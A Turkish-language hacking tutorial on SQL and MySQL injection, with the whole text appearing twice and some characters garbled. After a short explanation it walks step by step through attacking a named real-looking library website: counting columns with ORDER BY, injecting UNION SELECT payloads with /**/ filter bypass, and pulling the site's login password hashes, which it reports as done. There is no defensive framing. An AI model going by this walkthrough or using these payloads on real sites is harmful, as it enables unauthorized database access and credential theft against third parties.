SQL Injection Nedir?
SQL Injection Saldırganların Veri Çalmada Veri Değiştirmekte Kullandıkları En Çok Kullanılan Saldırılardan Biridiri. SQL Injection Günümüzde En Çok Kullanılan Saldırı Türlerinden biridir. Bu Saldırı türünde Saldırganlar Web Sitelerindeki Güvensiz Kodlamalardan Yararlanarak Sitenin Login Formu Gibi Kullanıcı Girişlerinin SQL Sorgusunda Kullanıldığı Yerlerde SQL Komutları Eklenmesi İle Veri Tabanına Yetkisiz Erişimi Sağlar.
Web Uygulamaları Web Sitesini Ziyaret Eden Kullanıcıları Veri Tabanını kullanarak Veri Görüntüleyebilmelerini Sağlar. Veri Tabanları Genellikle Çoğu Veb Sitelerinden Kullanılır ve Ziyaretçilere O Siteye Ait Bilgilerin Verilmesi için Veri depolama Amaçlı Kullanılır.
Web Sitelerinin Veri Tabanlarında Kullanıcı Bilgileri, Ödeme Bilgileri , Bir şirkete Ait İstatistikler Bulunabilir Ve Hazır veya özel Yazılmış Uygulamalarla ulaşılabilir.
SQL Injection Bir Web Sitesi üzerindeki Arkada Çalışan Veri Tabanının Çalıştırılması İçin Gönderilen SQL Komutlarıdır. Eğer Tasarımcı Web Site Üzerinde ki Komutları Düzenli Bir Şekilde Filtrelememişse Saldırganlar Tüm Veri Tabanının İçini Görebilir Değişiklik Yapabilir Veya Silebilir.
MySQL Injection Nedir?
MySQL Access Gibi Başka Bir Veritabanı sistemidir. Çoğunlukla PHP ile yazılmış sistemlerde kullanılır. PHP sitelerde Update Olmaz PHP ile yazılmış sitelerde Update denemek zaman kaybından başka bişey değildir. MySQL Injectionda veri tabanı kullanıcısı yetkili değilse Access�te yaptıklarımızdan fazla ileri düzeyde bisey yapmayız. Access�te olduğu gibi MySQL�de de Union Select kullanabiliriz. Access�tekinden farkı MySQL�de Kelimelerin arasına /**/ koyarız.
Örneğin : http://www.biblioteca-ua.com/select_...ELECT/**/0,1,2 ,3/*
Bu Şekilde Kolon Sayısını Bulmaya Çalışıyoruz. Dikkat Edeceğimiz Nokta Kolon sayısını bulmaya çalışırken tablo adı yazmamıza gerek yoktur.
Eger yetkiimiz var ise mySQL yada information_schema veri tabanlarindan veri çekebiliriz
MySQL User Tablosunda Kullanıcı adları Ve Şifreleri Bulunmaktadır Tabi Şifreler Hashlanmış bi şekilde bulunmaktadır. Bu Hashlanmış olan şifreler ancak brute force ile çözülebilir. information_schema.tables tablosundan kolon adlarını Öğrenebiliriz.
Sitenin bütün tablolarını öğrenebilmek için order by ile kolon sayısını deneyerek öğrenmeye çalışıyoruz.
Örneğin : http://www.biblioteca-ua.com/select_...712+order+by+6
Hata Alıyoruz Demek ki Kolon sayımız 6 değil tekrar deniyoruz kolon sayımızı buluncaya kadar 6�dan aşağı doğru sayıları yazıyoruz.
Kolon Sayımızı bulduk Kolon Sayımız �5�
http://www.biblioteca-ua.com/select_...712+order+by+5
http://www.biblioteca-ua.com/select_...lect+1,2,3,4,5
ekranda 2 çıktı bunun yerine vurduracağımız tablo Adını ben login olarak Seçiyorum.
http://www.biblioteca-ua.com/select_...,4,5+from+user
2 nin yazdığı yerde sitenin login hashlarını çıkardık.
SQL Injection Saldırganların Veri Çalmada Veri Değiştirmekte Kullandıkları En Çok Kullanılan Saldırılardan Biridiri. SQL Injection Günümüzde En Çok Kullanılan Saldırı Türlerinden biridir. Bu Saldırı türünde Saldırganlar Web Sitelerindeki Güvensiz Kodlamalardan Yararlanarak Sitenin Login Formu Gibi Kullanıcı Girişlerinin SQL Sorgusunda Kullanıldığı Yerlerde SQL Komutları Eklenmesi İle Veri Tabanına Yetkisiz Erişimi Sağlar.
Web Uygulamaları Web Sitesini Ziyaret Eden Kullanıcıları Veri Tabanını kullanarak Veri Görüntüleyebilmelerini Sağlar. Veri Tabanları Genellikle Çoğu Veb Sitelerinden Kullanılır ve Ziyaretçilere O Siteye Ait Bilgilerin Verilmesi için Veri depolama Amaçlı Kullanılır.
Web Sitelerinin Veri Tabanlarında Kullanıcı Bilgileri, Ödeme Bilgileri , Bir şirkete Ait İstatistikler Bulunabilir Ve Hazır veya özel Yazılmış Uygulamalarla ulaşılabilir.
SQL Injection Bir Web Sitesi üzerindeki Arkada Çalışan Veri Tabanının Çalıştırılması İçin Gönderilen SQL Komutlarıdır. Eğer Tasarımcı Web Site Üzerinde ki Komutları Düzenli Bir Şekilde Filtrelememişse Saldırganlar Tüm Veri Tabanının İçini Görebilir Değişiklik Yapabilir Veya Silebilir.
MySQL Injection Nedir?
MySQL Access Gibi Başka Bir Veritabanı sistemidir. Çoğunlukla PHP ile yazılmış sistemlerde kullanılır. PHP sitelerde Update Olmaz PHP ile yazılmış sitelerde Update denemek zaman kaybından başka bişey değildir. MySQL Injectionda veri tabanı kullanıcısı yetkili değilse Access�te yaptıklarımızdan fazla ileri düzeyde bisey yapmayız. Access�te olduğu gibi MySQL�de de Union Select kullanabiliriz. Access�tekinden farkı MySQL�de Kelimelerin arasına /**/ koyarız.
Örneğin : http://www.biblioteca-ua.com/select_...ELECT/**/0,1,2 ,3/*
Bu Şekilde Kolon Sayısını Bulmaya Çalışıyoruz. Dikkat Edeceğimiz Nokta Kolon sayısını bulmaya çalışırken tablo adı yazmamıza gerek yoktur.
Eger yetkiimiz var ise mySQL yada information_schema veri tabanlarindan veri çekebiliriz
MySQL User Tablosunda Kullanıcı adları Ve Şifreleri Bulunmaktadır Tabi Şifreler Hashlanmış bi şekilde bulunmaktadır. Bu Hashlanmış olan şifreler ancak brute force ile çözülebilir. information_schema.tables tablosundan kolon adlarını Öğrenebiliriz.
Sitenin bütün tablolarını öğrenebilmek için order by ile kolon sayısını deneyerek öğrenmeye çalışıyoruz.
Örneğin : http://www.biblioteca-ua.com/select_...712+order+by+6
Hata Alıyoruz Demek ki Kolon sayımız 6 değil tekrar deniyoruz kolon sayımızı buluncaya kadar 6�dan aşağı doğru sayıları yazıyoruz.
Kolon Sayımızı bulduk Kolon Sayımız �5�
http://www.biblioteca-ua.com/select_...712+order+by+5
http://www.biblioteca-ua.com/select_...lect+1,2,3,4,5
ekranda 2 çıktı bunun yerine vurduracağımız tablo Adını ben login olarak Seçiyorum.
http://www.biblioteca-ua.com/select_...,4,5+from+user
2 nin yazdığı yerde sitenin login hashlarını çıkardık.